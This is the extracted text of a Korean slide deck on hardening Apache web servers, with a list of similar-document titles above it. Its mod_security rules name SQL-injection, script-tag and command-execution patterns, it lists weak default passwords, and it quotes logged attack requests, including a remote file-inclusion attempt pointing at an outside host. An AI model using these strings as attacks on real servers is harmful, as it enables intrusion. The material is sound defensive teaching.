Microsoft PowerPoint - 5. Exploring Apache Security_v2 (안랩-정관진 연구원).ppt [호환 모드]

Similar documents
1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder Service - efolder

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

목 차 1. 웹방화벽 기능 소개 2. mod_security 설치 가) apache 1.3 에서 mod_security 설치 나) apache 2.0 에서 mod_security 설치 3. 기본설정 4. 사용자 룰 설정 5. 주요 웹공격 룰 설정 가) PHP Injec

목차 1. 사전준비 mod_ssl OpenSSL 인증서파일 2. 주의사항 신규및갱신구분 CSR 직접생성여부 3. 인증서설치 httpd.conf 설정 httpd-ssl.conf 설정 갱신설치 서비스재시작 4. 확인및테스트 서비스구동확인 네트워크상태확인 방화벽확인 실제브라

Apache( 단일도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. 설명 : [$Apache] = Apache 디렉토리. 소스버전의경우 Apache]# mkdir conf/ssl Apache]# cp

Apache( 멀티도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

LXR 설치 및 사용법.doc

Apache install guide

1. 발급받으신인증서를해당 SSL 폴더에업로드또는저장합니다. Apache source 및 package 구분아파치경로확인명령어 : ps ef grep httpd -source: /usr/local/apache [ 경로및 apache이름은상이할수있음 ] -> 확인경로에설

Apache( 단일도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

<4D F736F F F696E74202D204D6F B7CEB1D7BAD0BCAEB9D7B0EDB1DEB7EABCB3C1A42DC8ABBCAEB9FC2E BC8A3C8AF20B8F0B5E55D>

SPECweb Install

Secure Programming Lecture1 : Introduction

<4D F736F F F696E74202D C0A5BCADB9F620BAB8BEC8BCB3C1A420B0A1C0CCB5E52E707074>

Microsoft PowerPoint - [Practice #1] APM InstalI.ppt

Apache( 단일도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

Microsoft PowerPoint - 정관진_PPT_final.ppt

chapter1,2.doc

Apache( 멀티도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

Apache( 단일도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

0. 들어가기 전

Apache( 멀티도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

Webtob( 멀티도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

Apache( 멀티도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201

ApacheWebServer.hwp

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Microsoft PowerPoint - 07-EDU-Apache-9-1.ppt

정적으로 설치된 mod_ssl 모듈확인 동적으로 설치된 mod_ssl 모듈확인 웹서버에 설치된 모듈중 mod_so.c 를 먼저 확인후 동적으로 설치된 모듈중 mod_ssl.so 를 확인합니다. 동적으로 설치된 경우 apache 설치 디렉토리의 module 이나 libe

WebKnight를 활용한 IIS 웹서버 보안

게시판 스팸 실시간 차단 시스템

제목 레이아웃

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

Windows 8에서 BioStar 1 설치하기

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

Snort Install Manual Ad2m VMware libnet tar.gz DebianOS libpcap tar.gz Putty snort tar.gz WinSCP snort rules 1. 첫번째로네트워크설정 1) ifconf

Microsoft Word - src.doc

The Pocket Guide to TCP/IP Sockets: C Version

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

PowerPoint 프레젠테이션

PowerPoint Template

Cloud Friendly System Architecture

WebtoB.hwp

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

PowerPoint 프레젠테이션

Apache2 + Tomcat 5 + JK2 를 사용한 로드밸런싱과 세션 복제 클러스터링 사이트 구축

Microsoft Word - Windows_apahce_php_CUBRID2008

uFOCS

소프트웨어설치 1. 소프트웨어설치및제거 ( 소스코드 ) 소스코드컴파일을이용한 S/W 설치 1. 소스코드다운로드 - 예 ) httpd tar.gz - 압축해제 : #tar xzvf httpd tar.gz - INSTALL 또는 README파일참조

UDP Flooding Attack 공격과 방어

Interstage5 SOAP서비스 설정 가이드

PowerPoint 프레젠테이션

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

Remote UI Guide

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월

하는 gd의예를들면, /usr/ports/graphics/php52-gd 에서설치해줄수있고, xml 처리를담당하는 xml 확장모듈은 /usr/ports/textproc/php52-xml 에서설치가능하다. 어느디렉토리에서제공되는지를알려면포트시스템의루트 (/usr/port

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

untitled

PowerPoint 프레젠테이션

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

리눅스설치가이드 3. 3Rabbitz Book 을리눅스에서설치하기위한절차는다음과같습니다. 설치에대한예시는우분투서버 기준으로진행됩니다. 1. Java Development Kit (JDK) 또는 Java Runtime Environment (JRE) 를설치합니다. 2.

°ü¸®ÀÚ¸¦ À§ÇÑ ½ÇÀüÆÁ\(2\)

3) MySQL data 백업백업방법 : dump 파일로저장저장위치 : /backup/mysqldump 백업주기 : 시간별 (/etc/cron.hourly) 또는일별 (/etc/cron.daily) 보관기간 : 7 일백업스크립트 : 아래예제 6-1). 참조 4) 웹데이

3장

본교재는수업용으로제작된게시물입니다. 영리목적으로사용할경우저작권법제 30 조항에의거법적처벌을받을수있습니다. [ 실습 ] 스위치장비초기화 1. NVRAM 에저장되어있는 'startup-config' 파일이있다면, 삭제를실시한다. SWx>enable SWx#erase sta

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - postfix) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i postfix spf-filter 년 6 월

76 XSS 하 Huge-IT Slider admin.php XSS

BEA_WebLogic.hwp

PowerPoint Template

untitled

Microsoft PowerPoint - 홍석범

Assign an IP Address and Access the Video Stream - Installation Guide

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

Chapter 1

<B8AEB4AABDBA2E687770>

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C

SSL인증서 설치 매뉴얼 (Apache)

운영체제실습_명령어

PowerPoint 프레젠테이션

기존에 Windchill Program 이 설치된 Home Directory 를 선택해준다. 프로그램설치후설치내역을확인해보면 Adobe Acrobat 6.0 Support 내역을확인할수 있다.

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

작성자 : 기술지원부 김 삼 수

TTA Journal No.157_서체변경.indd

2009년 상반기 사업계획

ìœ€íŁ´IP( _0219).xlsx

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu

untitled

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월

초보자를 위한 ASP.NET 2.0

Transcription:

Exploring Apache Security Kwanjin Jung, Security Analyst AhnLab Inc,.

지금여러분들의관점은? 개발자관점 서버관리자관점 운영자관점

왜웹의환경에주목해야하는가? 많은산업군들이이제인터넷기반의비즈니스를수행하고있다. 해마다웹을이용한공격은크게증가하고있다. 이제 웹해킹 이란단어는일반적인용어 웹을통한사고의주된원인은? 웹서버의운영체제및서버소프트웨어의취약점 웹애플리케이션

웹서버의위협 다양한웹공격 서비스거부공격 DoS, DDoS, DRDoS 홈페이지변조 웹서버또는애플리케이션의취약점활용 SQL Injection, XSS, 잘못된설정 웹사이트와웹애플리케이션의대중화 악성코드의확산을위한창구

왜웹서버공격이증가하는가? 일반적으로방화벽에서 80, 443 번포트는허용된다. 즉, 다른포트번호가차단되었다하더라도이포트번호는외부에서는유효하다. 가장범용적으로사용되는프로토콜중의하나이다. 많은지식을필요로하지않으며, URL 상의간단한조작및유추등이가능하다. 해킹을위한많은도구를필요로하지않으며, 웹브라우저하나만으로도가능하다.

웹서버고려사항은무엇인가? 하드웨어 소프트웨어 관리 보안 비용 내용 이제가장중요하게고려되어야할부분이다

웹서버구성환경요소 여러분은어떤보안대비책을가지고있나요? 아래의환경은일반적인웹구성환경입니다. 모든보안수준을만족시킬까요? 방화벽 웹서비스를위한 80, 443 번오픈 응용프로그램응용프로그램 DB 웹이용자 X 다른포트의접속은차단 Web Server 응용프로그램

안전한웹서버 만들기 Step by Step

운영체제준비 운영체제서비스의최소화 /etc/inetd.conf 에등록되어있는서비스를최소화 웹서비스용도에따라적합한운영체제선택 불필요한네트워크서비스제거 - rlogin,rsh,rexec,rcp rsh rexec rcp 등의서비스 - NFS, FTP, sendmail SSH, IPChain, IPFilter, TCPWrapper 등과같은보안프로그램의사용 보안패치파일, 보안뉴스및소식등을얻을수있는온라인자원의활용 - www.cert.org, www.certcc.or.kr - www.securityfocus.com

웹서버준비와체크 아파치다운로드 - 검증된사이트에서다운된파일인가? http://mirror.apache-kr.org/httpd/ p p (3 시간마다 apache.org 에서미러링 ) 파일의무결성체크 - PGP 서명검증 % pgp -ka KEYS % pgp httpd-2.2.8.tar.gz.asc - MD5 Checksum 확인 패치파일이존재하는경우 # cd apache_source_directory # patch p0 < patchfilename.patch

아파치컴파일및설치 필요한모듈만사용될수있도록모듈의설치를최소화한다. httpd_core, mod_dir, mod_access, mod_auth, mod_log_config, mod_mime mime 바이너리파일을직접설치하기보다는입맛에맞게컴파일하여최적화수행을권장한다. #./configure --disable-module=all --enablemodule=dir --enable-module=access [ ] 동적모듈의방법을이용하는경우에는다음과같이컴파일한후, LoadModule 지시어를통하여필요한모듈만로드한다. #./configure --enable-module=most \ --enable-shared=max [ ]

아파치동작권한설정 Users, Group 의 root 설정금지 사용자에따른적절한권한설정 - 웹서버동작 - 웹마스터 - 웹개발자 - 웹저작자 실제서비스와테스트웹서버를구분 테스트에의한불필요정보가노출될수있다. 아파치웹서버파일및디렉토리권한 # cd /usr/local/apache # chown 0. bin conf logs # chgrp 0. bin conf logs # chmod 755. bin conf logs # chown 0 /usr/local/apache/bin/httpd # chgrp 0 /usr/local/apache/bin/httpd # chmod 511 /usr/local/apache/bin/httpd

DocumentRoot 에대한조언 아파치파일및 HTML 문서의무결성체크 - TripWire -MD5 #md5sum`find / -type f print` > md5_list 중요파일은 DocumentRoot 에넣어두지않는다. 홈페이지에공개되어있지않다고해서노출되지않는것이아니다. 임시파일 bak 및파싱되어처리되지않는파일은주의 외부에노출될필요가없는것은쉽게유추및추정할수있는파일또는디렉토리이름을사용하지않는다. /admin, /test, /backup, /manage Robot.txt 사용주의 관리자페이지는적절한접근제어방식을사용하라 왜? 관리자페이지를떳떳하게노출시키고계신가요.

Googling Your Webserver 부적절한패스워드사용및기본계정사용 admin/admin, manager/manger, system/system, admin/djemals, root/root 관리자 / 개인용페이지접근제한노출 검색엔진을통해 3 분여동안찾을수있었던사이트는? /admin, /manage, 관리자, 관리자모드등의단순검색어이용.bak,.log,.inc 등

정보출력제한 불필요한정보의출력은공격의위험을더욱가중시킨다. 정보출력제한지시어이용 ServerSignature Si Off ServerTokens ProductOnly 서버의버전정보제한 % vi include/httpd.h ( 아파치 1.3.X) % vi include/ap_release.h ( 아파치 2.X) #define SERVER_BASEVENDOR "Apache Group" #define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "1 1.3.41 341" 디렉토리인덱스출력제거 Options -Indexes

Robots.txt 가더큰위험을 웹로봇을제한하는 robots.txt txt 에검색을제한하는경로를입력할경우해당경로가오히려노출이될수있다. 다음파일에서무엇을추정해볼수있을까요? User-agent: * Disallow: /stats/ Disallow: /admin/ Disallow: /develop/ 다음의사례는공개된 robots.txt 에서 test 라는폴더에접근한경우

아파치설정지시어활용 Options 지시어 ExecCGI : CGI 스크립트실행권한부여 FollowSymLinks : 심볼릭링크허용 Includes : SSI(Server Side Includes) 의허용! SSI 는보안상몇가지잠재적인위험이있다. IncludesNOEXEC : #exec 의기능을제외한 SSI 허용 Indexes : 디렉토리리스트출력 CoreDumpDirectory ErrorLog 시스템설정보호사용자에의한설정정보변경방지 (.htaccess) <Directory /> AllowOverride None </Directory>

에러출력제한 스크립트의에러메시지가많은정보를노출시킬수있다. 이경우메시지를좀더친근한형태로바꾸면서정보노출을제한하도록한다. ErrorDocument 지시어를활용 기본적으로하드코딩된메시지대신다른메시지로출력 로컬 URL 로리다이렉트 외부 URL 로리다이렉트 사용예 ErrorDocument 500 http://foo.example.com/cgi-bin/tester ErrorDocument 404 /cgi-bin/bad_urls.pl ErrorDocument 401 /Subscription/how_to_subscribe.html ErrorDocument 403 "Sorry can't allow you access today ErrorDocument 500 /cgi-bin/crash-recover

접근제어지시어활용 영역 / 범위설정지시어 <Directory>, <DirectoryMatch> <Files>, <FileMatch> <Location>, <LocationMatch> <Limit>, it <LimitExcept> ite t 사용예 1) 확장자가.pl 이거나 localconfig 문자열이들어가거나 check.sh 의파일에매치되는것이있으면모든접근을거부 <FilesMatch ^(.*\.pl.*localconfig.* check.sh)$> deny from all </FilesMatch> 2) URL 경로에 /private/data 또는 /special/data 문자열이검출되면 <Location> 과 </Location> 섹션안에지정한지시어들을수행 <Location ~ /(private special)/data > >

중요파일정보제한 설정정보를담고있는파일의접근차단 (.htaccess,.htpasswd) <Files ~ "^\.ht"> Order allow,deny Deny from all </Files> 특정확장자파일접근차단 <filesmatch "\ \.(inc tpl h ihtml sql ini conf bin spd theme module)$ (inc tpl h ihtml sql ini conf bin spd theme module)$"> Deny from all </filesmatch> <files ~ "\config \config.php$ php$"> Deny from all </files> 임시파일및백업파일은 DocumentRoot 이외의경로에넣어둔다. 기본아파치설정파일은삭제 htdocs cgi-bin

인증을통한접근제어 GET /protected HTTP/1.1 Web Server 기본인증방법 HTTP/1.1 1 401 Authorization Required Digest Radius LDAP GET /protected HTTP/1.1 Oracle Authorization: Basic aw50zxhwomludgv4cdawnw==.. <Location /protected> Auth OK 요청한문서를보여준다. AuthName Members AuthType Basic AuthUserFile /usr/local/httpd/users Require valid-user </Location> 접근은허용하지만인증된특정사용자에게만접근을허락한다. 인증과함께특정 IP 로부터의접근제한도동시에사용한다. Satisfy Any All 기본인증은외부의노출로부터안전하지않다. MD5, SSL 의방법을이용할수있다.

호스트접근제어 접근제어모듈 mod_access - allow -deny - order <Directory /internal-only/> Order deny,allow Deny from all Allow from localhost 192.168.23.0/255.255.255.0 </Directory> 다양한접근제어모듈 - Extended Access Control(mod_eaccess) 정규표현식을이용하여 URL, HTTP 요청방법, URI, QUERY_STRING 등을기준으로접근제어가능 - RBL(Realtime Blackhole List) mod_access_rbl

접근제어고급활용 확장자별접근제어 환경변수접근제어 html( 또는 htm), jpg( 또는 jpeg), bmp, gif 파일이외의접근은허용되지않으며, 이외의파일에접근하게되면접근에러메시지인 access_violation.html 내용을보여주게된다. <Directory /home/apache/htdocs> Order deny,allow Deny from all <FilesMatch \.(html? jpe?g bmp gif)$ > Order deny,allow Allow from all </FilesMatch> ErrorDocument 403 /access_violation.html l </Directory> 브라우저가인터넷익스플로러인경우에는 InternetExplorer 환경변수를설정하고 deny 지시어로모든접근을거부하고, allow 지시어를통해 InternetExplorer te 로환경설정된브라우저의접속만허용 BrowserMatch ^MSIE InternetExplorer <Directory /msie_html/> Order deny,allow Deny from all Allow from env=internetexplorer te </Directory>

HTTP Method 제한 필요한메소드로만제한 <LimitExcept GET POST OPTIONS PROPFIND> Order deny,allow Deny from all </LimitExcept> TRACE 메소드제한 mod_rewrite 모듈의사용 RewriteEngine i on RewriteCond %{REQUEST_METHOD} ^TRACE RewriteRule. * [F]

CGI 스크립트안전한사용 잘못된스크립트의사용은시스템정보를노출하거나명령어실행등의큰위험을가질수있다. CGI 사용의위험을줄이기위한방법 - CGIWrap(http://prdownloads.sourceforge.net/cgiwrap sourceforge net/cgiwrap ) - suexec(setuserid Execution) 아파치에서자체적으로제공해주는프로그램 스크립트사용시특정경로로한정 ScriptAlias Options 의 ExecCGI 아파치 ScriptLog 지시어 -ScriptLog - ScriptLogLength - ScriptLogBuffer

스팸봇차단 자동화된악성로봇의등장 사이트내용의복사또는필요한정보의추출 - 라이센스 - 스팸메일정보추출에악용 환경변수의정보를이용하여특정에이전트의차단 e.g) rewrite 모듈의기능활용 RewriteCond %{REQUEST_FILENAME} html?$ [OR] RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR] RewriteCond %{HTTP_USER_AGENT} ^Teleport [OR] RewriteCond %{HTTP_USER_AGENT} ^WebCopy [OR] RewriteCond %{HTTP _ USER _ AGENT} ^WebStripper [OR] RewriteCond %{HTTP_USER_AGENT} ^ia_archiver [OR] RewriteCond %{HTTP_USER_AGENT} ^UrlScope [OR] RewriteRule ^.*$ http://www.apache-kr.org/nospam.html [R]

Chroot 환경의아파치 chroot 환경에서동작하는아파치웹서버의고려 chroot 로지정된이외의곳에접근할수없게되므로보안성은크게높아지게되지만 CGI, PHP, 데이타베이스연동등과같이외부의라이브러리또는바이너리파일을필요로할수있다. 이것은곧, 보안적으로는많은장점을가지고있지만설치및운영이복잡해진다는것을뜻한다. 설치및참고 URL http://www.w3.org/security/faq/wwwsf3.html#svr-q5 http://penguin.epfl.ch/chroot.html http://www.devet.org/apache/chroot/ http://linuxpub.w.interia.pl/howto/apache.html

공개프로그램설치시유의사항 공개애플리케이션설치시적절한설정변경 설치위치경로 실행파일이름 URL 추정만으로도어떤소프트웨어를사용하고어떤버전인지유추할수있다. Default 설치는그위험을더욱증가시킬수있다. 설치된 Application 의업데이트를간과하지마라. 특히보안업데이트는항상관심을기울여야한다.

Attack and Defense More Tips

Buffer Overflow 예방 아파치웹서버의설정 - LimitRequestBody 10240 - LimitRequestFields 40 - LimitRequestFieldsize 100 - LimitRequestLine 500 mod_parmguard 해커로부터입력되는데이터의필터를통하여스크립트를보호한다. http://www.trickytools.com/php/mo p p d_parmguard.php 응용프로그램 - Boundary Check

서비스거부공격 서비스거부공격은웹서비스운영에큰위협 - DoS(Denial of Service) - DDoS, DRDoS 2000 년 2 월 Buy.com, ebay, CNN, Yahoo, Amazon 대형사이트 DDoS 공격 최근에는금전적목적의 DDoS 공격이증가 아파치성능지시어조절 Timeout, KeepAlive, KeepAliveTimeout, StartServers, MinSpareServers, MaxSpareServers, MaxClients RLimitCPU, RLimitMEM, RLimitNPROC 대역폭의조절 -bwshare module - mod_bandwidth - mod_throttle - mod_evasive Apache DoS Evasive Maneuvers Module DoS, DDoS 또는 Brute force 공격등을탐지하고조절할수있는기능을제공 http://www.nuclearelephant.com/projects/dosevasive/

웹서버와악성코드 웹서버가악성코드전파에많이이용되고있다는사실아시나요? 어떤웹서버소프트웨어가배포에많이이용되었을까? 웹서버악성코드배포의재미있는도표하나 ( 구글이작년중순경에 70,000 개의도메인을조사 ) < 국가별웹서버분포 > < 국가별악성코드배포분포 >

취약점을이용한웜사례 0 day Exploit 취약점이보고된후, 이를악용한 Exploit 이나오기까지는그리오랜시간이걸리지않는다. 즉, 빠른속도로확산될수있는웜의출현이가능하다. OpenSSL 취약점을이용한아파치웜 Slapper 사례 - 2002 년 7 월 30 일 OpenSSL 의취약점이보고되었고, 0.96d 이하의버전은문제를가지고있음 - 변형의발견 (Slapper.B,C) http://www.apache-kr.org h 의기술문서참고 외부의접근시도시다음과같은정보가기록됨 # grep ssl /path/to/<http_logname> grep error [Sat Sep 14 18:10:00 2002] [error] [client XX.XX.XX.XX] XX] client sent HTTP/1.1 1 request without t hostname (see RFC2616 section 14.23): / [Sat Sep 14 18:10:16 2002] [error] mod_ssl: SSL handshake failed (server XX.XX.XX.XX:443, client XX.XX.XX.XX) (OpenSSL library error follows) [Sat Sep 14 18:10:16 2002] [error] OpenSSL: error:1406b458:lib(20):func(107):reason(1112)

mod_security 모듈을이용한보안성향상 보안모듈을이용한차단의제안 ModSecurity Open Source: http://www.modsecurity.org GPL 과상업용라이센스 무료또는상업적인지원 아파치버전 1.X, 2.X 지원 웹서버에임베디드되어디자인변경없이보안적인기능향상 modsecurity 의기능 감사로그 정규식표현기반의룰 외부프로그램의수행 제한없는다양한보안정책적용가능 파일업로드체크및실시간검증 버퍼오버플로우방어 Encoding validation

mod_security 컴파일및적용 다운로드 http://www.modsecurity.org/download/ 컴파일 DSO 방식 apxs -cia mod_security.c Static 방식 1. mod_security.c 를 src/modules/extra / 에복사 2. Configure 를이용하여다음과같이정의 : --activate-module=src/modules/extra/mod_security --enable-module=security 3. make & make install 아파치웹서버적용 httpd.conf 파일에 mod_security 파마리터정의 아파치웹서버시작 httpd -t apachectl restart

mod_security 의기본설정 지시어이름만으로도쉽게추정가능한설정파일 <IfModule mod_security.c> SecFilterEngine On /* mod_security 사용 */ SecFilterDefaultAction "deny,log,status:403" SecFilterScanPOST On /* POST 에대해서필터스캔적용 */ SecFilterCheckURLEncoding On SecFilterCheckUnicodeEncoding Off SecFilterForceByteRange 1 255 # SecServerSignature "Microsoft-IIS/5.0" SecUploadDir /tmp SecUploadKeepFiles Off SecAuditEngine RelevantOnly SecAuditLog logs/modsec_audit.log g /* 보안감사로그파일경로 */ SecFilterDebugLevel 0 SecFilterDebugLog logs/modsec_debug.log /* 디버그경로 */ SecFilterSelective REQUEST_METHOD "!^(GET HEAD)$" chain SecFilterSelective HTTP_Content-Type "!(^application/x-www-form- urlencoded$ ^multipart/form-data;) SecFilterSelective REQUEST_METHOD "^POST$" chain SecFilterSelective HTTP_Content-Length "^$ SecFilterSelective HTTP_Transfer-Encoding "!^$" Include conf/modsecurity/apache.conf /* 추가설정파일정보 */ </IfModule>

mod_security 룰사용예제 JavaScript Injection 방지 SecFilter <script SQL Injection 방지 SecFilter DELETE[[:space:]]+FROM 사용자가 admin 이며특정 IP 로부터의접근만을허용 SecFilterSelective ARG_username ^admin$ chain SecFilterSelective REMOTE_ADDR!^192.168.0.1$ 특정명령어제한 SecFilter cmd.exe

mod_security 룰사용예제 User-Agent 헤더의스크립트차단 SecFilterSelective HTTP_REFERER HTTP_USER_AGENT "<[[:space:]]*(script about applet activex chrome)*>.*(script about ap plet activex chrome)[[:space:]]*>" 일반적인 SQL Injection 차단 1) SecFilter "((select grant delete insert drop alter replace truncate update create rename describe)[[:space:]]+[a-z a-z 0-9 \* \,]+[[:space:]]+(from into table databas e index view)[[:space:]]+[a-z a-z 0-9 \* \,] UNION SELECT.*\'.*\'.*,[0-9].*INTO.*FROM) 2) SecFilterSelective ARGS "(or.+1[[:space:]]*=[[:space:]]1 (or 1=1 '.+)-- ')" "id:300014,rev:1,severity:2,msg:'generic SQL injection protection'" 일반적인명령어공격 SecFilterSelective REQUEST_URI ARGS URI ARGS "\ *id\;echo*\ " 명령어차단 SecFilterSelective THE_REQUEST "/usr/bin/perl"

mod_security 탐지 모듈에의해탐지된정보는로그파일에기록되어어떤위협들이웹서버로이뤄지고있는지확인해볼수있다. 탐지된정보를기반으로웹서버에영향을줄수있는것들을검토하여문제가될소지가있는부분은사전에차단한다. 탐지된사례의경우 특정 PHP 를통한원격지명령어실행 Request: www.apache-kr.org 81.214.171.215 - - [28/Nov/2006:11:57:58 +0900] "GET /new s/templates/headline_temp.php?nst_inc=http://artechinstruments.com/tool20.dat?&list= 1&cmd=id HTTP/1.0" 403 230 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" -"- ---------------------------------------- mod_security-action: 403 mod_security-message: Access denied with code 403. OPTION Method Request: www.apache-kr.org 219.150.198.239 150 198 239 - - [23/Nov/2006:14:32:43 +0900] "OPTIONS * HTTP/1.1" 403 210 "-" "-" - "- CONNECT Request: www.apache-kr.org 61.229.126.135 - - [23/Nov/2006:04:43:35 +0900] "CONNECT mx3.mail2000.com.tw:25 HTTP/1.0" 403 198 "-" "-" - "-"

아파치보안성테스트 주기적으로보안적으로문제없는지테스트할필요성이있다. 수동으로하기에는쉽지않으므로자동화된도구를이용 Nessus(http://www.nessus.org) Nikto(http://www.cirt.net/nikto2) nmap 이외다양한네트워크보안도구 http://sectools.org/

아파치상태관찰 보안강화만큼중요한것이지속적인관리이다. 아파치상태를관찰하며비이상적인행동감시 - 급격한프로세스증가 (100 개이상?) - 시스템의자원현황및전체적인관찰필요 - netstat -an mod _ status 의이용외부에서는접근하지못하도록지정해야한다. <Location /server-status> SetHandler server-status status Order deny,allow Deny from all Allow from localhost </Location>

